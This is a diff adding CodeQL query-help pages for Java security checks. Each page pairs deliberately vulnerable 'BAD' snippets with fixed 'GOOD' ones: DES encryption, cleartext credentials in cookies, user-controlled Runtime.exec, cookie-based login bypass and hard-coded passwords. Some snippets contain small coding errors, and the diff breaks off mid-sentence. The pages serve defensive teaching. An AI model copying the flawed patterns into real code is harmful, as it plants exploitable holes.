b/docs/language/query-help/java/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..776f227f4c4 --- /dev/null +++ b/docs/language/query-help/java/BrokenCryptoAlgorithm.md @@ -0,0 +1,44 @@ +# Use of a broken or risky cryptographic algorithm + +``` +ID: java/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```java +// BAD: DES is a weak algorithm +Cipher des = Cipher.getInstance("DES"); +cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); + +byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); + +// ... + +// GOOD: AES is a strong algorithm +Cipher des = Cipher.getInstance("AES"); + +// ... +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageCookie.md b/docs/language/query-help/java/CleartextStorageCookie.md new file mode 100644 index 00000000000..e3d52b851a3 --- /dev/null +++ b/docs/language/query-help/java/CleartextStorageCookie.md @@ -0,0 +1,62 @@ +# Cleartext storage of sensitive information in cookie + +``` +ID: java/cleartext-storage-in-cookie +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-315 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageCookie.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. + + +```java +public static void main(String[] args) { + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); + data = credentials.getUserName() + ":" + new String(credentials.getPassword()); + + // BAD: store data in a cookie in cleartext form + response.addCookie(new Cookie("auth", data)); + } + + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); + String salt = "ThisIsMySalt"; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); + messageDigest.reset(); + String credentialsToHash = + credentials.getUserName() + ":" + credentials.getPassword(); + byte[] hashedCredsAsBytes = + messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); + data = bytesToString(hashedCredsAsBytes); + + // GOOD: store data in a cookie in encrypted form + response.addCookie(new Cookie("auth", data)); + } +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageProperties.md b/docs/language/query-help/java/CleartextStorageProperties.md new file mode 100644 index 00000000000..559726cc1ac --- /dev/null +++ b/docs/language/query-help/java/CleartextStorageProperties.md @@ -0,0 +1,62 @@ +# Cleartext storage of sensitive information using 'Properties' class + +``` +ID: java/cleartext-storage-in-properties +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageProperties.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are hashed before storing them. + + +```java +public static void main(String[] args) { + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "BP@ssw0rd".toCharArray()); + data = credentials.getUserName() + ":" + new String(credentials.getPassword()); + + // BAD: store data in a cookie in cleartext form + response.addCookie(new Cookie("auth", data)); + } + + { + String data; + PasswordAuthentication credentials = + new PasswordAuthentication("user", "GP@ssw0rd".toCharArray()); + String salt = "ThisIsMySalt"; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-512"); + messageDigest.reset(); + String credentialsToHash = + credentials.getUserName() + ":" + credentials.getPassword(); + byte[] hashedCredsAsBytes = + messageDigest.digest((salt+credentialsToHash).getBytes("UTF-8")); + data = bytesToString(hashedCredsAsBytes); + + // GOOD: store data in a cookie in encrypted form + response.addCookie(new Cookie("auth", data)); + } +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SER03-J. Do not serialize unencrypted, sensitive data](https://www.securecoding.cert.org/confluence/display/java/SER03-J.+Do+not+serialize+unencrypted+sensitive+data). +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ComparisonWithWiderType.md b/docs/language/query-help/java/ComparisonWithWiderType.md new file mode 100644 index 00000000000..64cb837f645 --- /dev/null +++ b/docs/language/query-help/java/ComparisonWithWiderType.md @@ -0,0 +1,68 @@ +# Comparison of narrow type with wide type in loop condition + +``` +ID: java/comparison-with-wider-type +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) + +In a loop condition, comparison of a value of a narrow type with a value of a wide type may always evaluate to `true` if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. + + +## Recommendation +Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. + + +## Example +In this example, `bytesReceived` is compared against `MAXGET` in a `while` loop. However, `bytesReceived` is a `short`, and `MAXGET` is a `long`. Because `MAXGET` is larger than `Short.MAX_VALUE`, the loop condition is always `true`, so the loop never terminates. + +This problem is avoided in the 'GOOD' case because `bytesReceived2` is a `long`, which is as wide as the type of `MAXGET`. + + +```java +class Test { + public static void main(String[] args) { + + { + int BIGNUM = Integer.MAX_VALUE; + long MAXGET = Short.MAX_VALUE + 1; + + char[] buf = new char[BIGNUM]; + + short bytesReceived = 0; + + // BAD: 'bytesReceived' is compared with a value of wider type. + // 'bytesReceived' overflows before reaching MAXGET, + // causing an infinite loop. + while (bytesReceived < MAXGET) { + bytesReceived += getFromInput(buf, bytesReceived); + } + } + + { + long bytesReceived2 = 0; + + // GOOD: 'bytesReceived2' has a type at least as wide as MAXGET. + while (bytesReceived2 < MAXGET) { + bytesReceived2 += getFromInput(buf, bytesReceived2); + } + } + + } + + public static int getFromInput(char[] buf, short pos) { + // write to buf + // ... + return 1; + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ConditionalBypass.md b/docs/language/query-help/java/ConditionalBypass.md new file mode 100644 index 00000000000..ff59143e754 --- /dev/null +++ b/docs/language/query-help/java/ConditionalBypass.md @@ -0,0 +1,54 @@ +# User-controlled bypass of sensitive method + +``` +ID: java/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/ConditionalBypass.ql) + +Many Java constructs enable code statements to be executed conditionally, for example `if` statements and `for` statements. If these statements contain important authentication or login code, and the decision about whether to execute this code is based on user-controlled data, it may be possible for an attacker to bypass security systems by preventing this code from executing. + + +## Recommendation +Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. + +It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. + + +## Example +This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. + + +```java +public boolean doLogin(String user, String password) { + Cookie adminCookie = getCookies()[0]; + + // BAD: login is executed only if the value of 'adminCookie' is 'false', + // but 'adminCookie' is controlled by the user + if(adminCookie.getValue()=="false") + return login(user, password); + + return true; +} + +public boolean doLogin(String user, String password) { + Cookie adminCookie = getCookies()[0]; + + // GOOD: use server-side information based on the credentials to decide + // whether user has privileges + boolean isAdmin = queryDbForAdminStatus(user, password); + if(!isAdmin) + return login(user, password); + + return true; +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecRelative.md b/docs/language/query-help/java/ExecRelative.md new file mode 100644 index 00000000000..b8a5531ad37 --- /dev/null +++ b/docs/language/query-help/java/ExecRelative.md @@ -0,0 +1,41 @@ +# Executing a command with a relative path + +``` +ID: java/relative-path-command +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecRelative.ql) + +When a command is executed with a relative path, the runtime uses the PATH environment variable to find which executable to run. Therefore, any user who can change the PATH environment variable can cause the software to run a different, malicious executable. + + +## Recommendation +In most cases, simply use a command that has an absolute path instead of a relative path. + +In some cases, the location of the executable might be different on different installations. In such cases, consider specifying the location of key executables with some form of configuration. When using this approach, be careful that the configuration system is not itself vulnerable to malicious modifications. + + +## Example + +```java +class Test { + public static void main(String[] args) { + // BAD: relative path + Runtime.getRuntime().exec("make"); + + // GOOD: absolute path + Runtime.getRuntime().exec("/usr/bin/make"); + + // GOOD: build an absolute path from known values + Runtime.getRuntime().exec(Paths.MAKE_PREFIX + "/bin/make"); + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecTainted.md b/docs/language/query-help/java/ExecTainted.md new file mode 100644 index 00000000000..e6ecef3d563 --- /dev/null +++ b/docs/language/query-help/java/ExecTainted.md @@ -0,0 +1,42 @@ +# Uncontrolled command line + +``` +ID: java/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql) + +Code that passes user input directly to `Runtime.exec`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `Runtime.exec` without examining it first. + + +```java +class Test { + public static void main(String[] args) { + String script = System.getenv("SCRIPTNAME"); + if (script != null) { + // BAD: The script to be executed is controlled by the user. + Runtime.getRuntime().exec(script); + } + } +} +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExecUnescaped.md b/docs/language/query-help/java/ExecUnescaped.md new file mode 100644 index 00000000000..835bbe6858f --- /dev/null +++ b/docs/language/query-help/java/ExecUnescaped.md @@ -0,0 +1,51 @@ +# Building a command line with string concatenation + +``` +ID: java/concatenated-command-line +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql) + +Code that builds a command line by concatenating strings that have been entered by a user allows the user to execute malicious code. + + +## Recommendation +Execute external commands using an array of strings rather than a single string. By using an array, many possible vulnerabilities in the formatting of the string are avoided. + + +## Example +In the following example, `latlonCoords` contains a string that has been entered by a user but not validated by the program. This allows the user to, for example, append an ampersand (&) followed by the command for a malicious program to the end of the string. The ampersand instructs Windows to execute another program. In the block marked 'BAD', `latlonCoords` is passed to `exec` as part of a concatenated string, which allows more than one command to be executed. However, in the block marked 'GOOD', `latlonCoords` is passed as part of an array, which means that `exec` treats it only as an argument. + + +```java +class Test { + public static void main(String[] args) { + // BAD: user input might include special characters such as ampersands + { + String latlonCoords = args[1]; + Runtime rt = Runtime.getRuntime(); + Process exec = rt.exec("cmd.exe /C latlon2utm.exe " + latlonCoords); + } + + // GOOD: use an array of arguments instead of executing a string + { + String latlonCoords = args[1]; + Runtime rt = Runtime.getRuntime(); + Process exec = rt.exec(new String[] { + "c:\\path\to\latlon2utm.exe", + latlonCoords }); + } + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* The CERT Oracle Secure Coding Standard for Java: [IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method](https://www.securecoding.cert.org/confluence/display/java/IDS07-J.+Sanitize+untrusted+data+passed+to+the+Runtime.exec%28%29+method). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ExternallyControlledFormatString.md b/docs/language/query-help/java/ExternallyControlledFormatString.md new file mode 100644 index 00000000000..1b75d8ef28b --- /dev/null +++ b/docs/language/query-help/java/ExternallyControlledFormatString.md @@ -0,0 +1,66 @@ +# Use of externally-controlled format string + +``` +ID: java/tainted-format-string +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql) + +The `String.format` method and related methods, like `PrintStream.printf` and `Formatter.format`, all accept a format string that is used to format the trailing arguments to the format call by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain extra format specifiers that cause an exception to be thrown or information to be leaked. + +The Java standard library implementation for the format methods throws an exception if either the format specifier does not match the type of the argument, or if there are too few or too many arguments. If unsanitized input is used in the format string, it may contain invalid extra format specifiers which cause an exception to be thrown. + +Positional format specifiers may be used to access an argument to the format call by position. Unsanitized input in the format string may use a positional format specifier to access information that was not intended to be visible. For example, when formatting a Calendar instance we may intend to print only the year, but a user-specified format string may include a specifier to access the month and day. + + +## Recommendation +If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. + + +## Example +The following program is meant to check a card security code for a stored credit card: + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + Calendar expirationDate = new GregorianCalendar(2017, GregorianCalendar.SEPTEMBER, 1); + // User provided value + String cardSecurityCode = request.getParameter("cardSecurityCode"); + + if (notValid(cardSecurityCode)) { + + /* + * BAD: user provided value is included in the format string. + * A malicious user could provide an extra format specifier, which causes an + * exception to be thrown. Or they could provide a %1$tm or %1$te format specifier to + * access the month or day of the expiration date. + */ + System.out.format(cardSecurityCode + + " is not the right value. Hint: the card expires in %1$ty.", + expirationDate); + + // GOOD: %s is used to include the user-provided cardSecurityCode in the output + System.out.format("%s is not the right value. Hint: the card expires in %2$ty.", + cardSecurityCode, + expirationDate); + } + + } +} +``` +However, in the first format call it uses the cardSecurityCode provided by the user in a format string. If the user includes a format specifier in the cardSecurityCode field, they may be able to cause an exception to be thrown, or to be able to access extra information about the stored card expiration date. + +The second format call shows the correct approach. The user-provided value is passed as an argument to the format call. This prevents any format specifiers in the user provided value from being evaluated. + + +## References +* CERT Java Coding Standard: [IDS06-J. Exclude unsanitized user input from format strings](https://www.securecoding.cert.org/confluence/display/java/IDS06-J.+Exclude+unsanitized+user+input+from+format+strings). +* Java SE Documentation: [Formatting Numeric Print Output](https://docs.oracle.com/javase/tutorial/java/data/numberformat.html). +* Java API: [Formatter](https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/java/HardcodedCredentialsApiCall.md b/docs/language/query-help/java/HardcodedCredentialsApiCall.md new file mode 100644 index 00000000000..f3dc3b3e161 --- /dev/null +++ b/docs/language/query-help/java/HardcodedCredentialsApiCall.md @@ -0,0 +1,44 @@ +# Hard-coded credential in API call + +``` +ID: java/hardcoded-credential-api-call +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a database using a hard-coded user name and password: + + +```java +private static final String p = "123456"; // hard-coded credential + +public static void main(String[] args) throws SQLException { + String url = "jdbc:mysql://localhost/test"; + String u = "admin"; // hard-coded credential + + getConn(url, u, p); +} + +public static void getConn(String url, String v, String q) throws SQLException { + DriverManager.getConnection(url, v, q); // sensitive call +} + +``` +Instead, the user name and password could be supplied through environment variables, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md new file mode 100644 index 00000000000..f78677d552a --- /dev/null +++ b/docs/language/query-help/java/ImproperValidationOfArrayConstruction.md @@ -0,0 +1,63 @@ +# Improper validation of user-provided size used for array construction + +``` +ID: java/improper-validation-of-array-construction +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-129 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayConstruction.ql) + +Using unvalidated input when specifying the size of a newly created array can result in the creation of an array with size zero. If this array is subsequently accessed without further checks, an `ArrayIndexOutOfBoundsException` may be thrown, because there is no guarantee that the array is not empty. + +This problem occurs when user input is used as the size during array initialization, either directly or following one or more calculations. If the user input is unvalidated, it may cause the size of the array to be zero. + + +## Recommendation +The size used in the array initialization should be verified to be greater than zero before being used. Alternatively, the array access may be protected by a conditional check that ensures it is only accessed if the index is less than the array size. + + +## Example +The following program constructs an array with the size specified by some user input: + + +```java +public class ImproperValidationOfArrayIndex extends HttpServlet { + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + try { + // User provided value + int numberOfItems = Integer.parseInt(request.getParameter("numberOfItems").trim()); + + if (numberOfItems >= 0) { + /* + * BAD numberOfItems may be zero, which would cause the array indexing operation to + * throw an ArrayIndexOutOfBoundsException + */ + String items = new String[numberOfItems]; + items[0] = "Item 1"; + } + + if (numberOfItems > 0) { + /* + * GOOD numberOfItems must be greater than zero, so the indexing succeeds. + */ + String items = new String[numberOfItems]; + items[0] = "Item 1"; + } + + } catch (NumberFormatException e) { } + } +} +``` +The first array construction is protected by a condition that checks if the user input is zero or more. However, if the user provides `0` as the `numberOfItems` parameter, then an empty array is created, and any array access would fail with an `ArrayIndexOutOfBoundsException`. + +The second array construction is protected by a condition that checks if the user input is greater than zero. The array will therefore never be empty, and the following array access will not throw an `ArrayIndexOutOfBoundsException`. + + +## References +* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). +* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ImproperValidationOfArrayIndex.md b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md new file mode 100644 index 00000000000..8c3e03cb0b8 --- /dev/null +++ b/docs/language/query-help/java/ImproperValidationOfArrayIndex.md @@ -0,0 +1,64 @@ +# Improper validation of user-provided array index + +``` +ID: java/improper-validation-of-array-index +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-129 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-129/ImproperValidationOfArrayIndex.ql) + +Using unvalidated input as part of an index into the array can cause the array access to throw an `ArrayIndexOutOfBoundsException`. This is because there is no guarantee that the index provided is within the bounds of the array. + +This problem occurs when user input is used as an array index, either directly or following one or more calculations. If the user input is unsanitized, it may be any value, which could result in either a negative index, or an index which is larger than the size of the array, either of which would result in an `ArrayIndexOutOfBoundsException`. + + +## Recommendation +The index used in the array access should be checked against the bounds of the array before being used. The index should be smaller than the array size, and it should not be negative. + + +## Example +The following program accesses an element from a fixed size constant array: + + +```java +public class ImproperValidationOfArrayIndex extends HttpServlet { + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + String[] productDescriptions = new String[] { "Chocolate bar", "Fizzy drink" }; + + // User provided value + String productID = request.getParameter("productID"); + try { + int productID = Integer.parseInt(userProperty.trim()); + + /* + * BAD Array is accessed without checking if the user provided value is out of + * bounds. + */ + String productDescription = productDescriptions[productID]; + + if (productID >= 0 && productID < productDescriptions.length) { + // GOOD We have checked that the array index is valid first + productDescription = productDescriptions[productID]; + } else { + productDescription = "No product for that ID"; + } + + response.getWriter().write(productDescription); + + } catch (NumberFormatException e) { } + } +} +``` +The first access of the `productDescriptions` array uses the user-provided value as the index without performing any checks. If the user provides a negative value, or a value larger than the size of the array, then an `ArrayIndexOutOfBoundsException` may be thrown. + +The second access of the `productDescriptions` array is contained within a conditional expression that verifies the user-provided value is a valid index into the array. This ensures that the access operation never throws an `ArrayIndexOutOfBoundsException`. + + +## References +* Java API: [ArrayIndexOutOfBoundsException](https://docs.oracle.com/javase/8/docs/api/java/lang/ArrayIndexOutOfBoundsException.html). +* Common Weakness Enumeration: [CWE-129](https://cwe.mitre.org/data/definitions/129.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InfiniteLoop.md b/docs/language/query-help/java/InfiniteLoop.md new file mode 100644 index 00000000000..38603c4dd6d --- /dev/null +++ b/docs/language/query-help/java/InfiniteLoop.md @@ -0,0 +1,48 @@ +# Loop with unreachable exit condition + +``` +ID: java/unreachable-exit-in-loop +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-835 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-835/InfiniteLoop.ql) + +Loops can contain multiple exit conditions, either directly in the loop condition or as guards around `break` or `return` statements. If an exit condition cannot be satisfied, then the code is misleading at best, and the loop might not terminate. + + +## Recommendation +When writing a loop that is intended to terminate, make sure that all the necessary exit conditions can be satisfied and that loop termination is clear. + + +## Example +The following example shows a potentially infinite loop, since the inner loop condition is constantly true. Of course, the loop may or may not be infinite depending on the behavior of `shouldBreak`, but if this was intended as the only exit condition the loop should be rewritten to make this clear. + + +```java +for (int i=0; i<10; i++) { + for (int j=0; i<10; j++) { + // do stuff + if (shouldBreak()) break; + } +} + +``` +To fix the loop the condition is corrected to check the right variable. + + +```java +for (int i=0; i<10; i++) { + for (int j=0; j<10; j++) { + // do stuff + if (shouldBreak()) break; + } +} + +``` + +## References +* Java Language Specification: [Blocks and Statements](http://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html). +* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InformationLoss.md b/docs/language/query-help/java/InformationLoss.md new file mode 100644 index 00000000000..6a8b110e398 --- /dev/null +++ b/docs/language/query-help/java/InformationLoss.md @@ -0,0 +1,33 @@ +# Implicit narrowing conversion in compound assignment + +``` +ID: java/implicit-cast-in-compound-assignment +Kind: problem +Severity: warning +Precision: very-high +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Arithmetic/InformationLoss.ql) + +Compound assignment statements of the form `x += y` or `x *= y` perform an implicit narrowing conversion if the type of `x` is narrower than the type of `y`. For example, `x += y` is equivalent to `x = (T)(x + y)`, where `T` is the type of `x`. This can result in information loss and numeric errors such as overflows. + + +## Recommendation +Ensure that the type of the left-hand side of the compound assignment statement is at least as wide as the type of the right-hand side. + + +## Example +If `x` is of type `short` and `y` is of type `int`, the expression `x + y` is of type `int`. However, the expression `x += y` is equivalent to `x = (short) (x + y)`. The expression `x + y` is cast to the type of the left-hand side of the assignment: `short`, possibly leading to information loss. + +To avoid implicitly narrowing the type of `x + y`, change the type of `x` to `int`. Then the types of `x` and `x + y` are both `int` and there is no need for an implicit cast. + + +## References +* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 9. Addison-Wesley, 2005. +* The Java Language Specification: [Compound Assignment Operators](http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.26.2), [Narrowing Primitive Conversion](http://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html#jls-5.1.3). +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/InsecureCookie.md b/docs/language/query-help/java/InsecureCookie.md new file mode 100644 index 00000000000..fcf5f9122a1 --- /dev/null +++ b/docs/language/query-help/java/InsecureCookie.md @@ -0,0 +1,46 @@ +# Failure to use secure cookies + +``` +ID: java/insecure-cookie +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-614 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql) + +Failing to set the 'secure' flag on 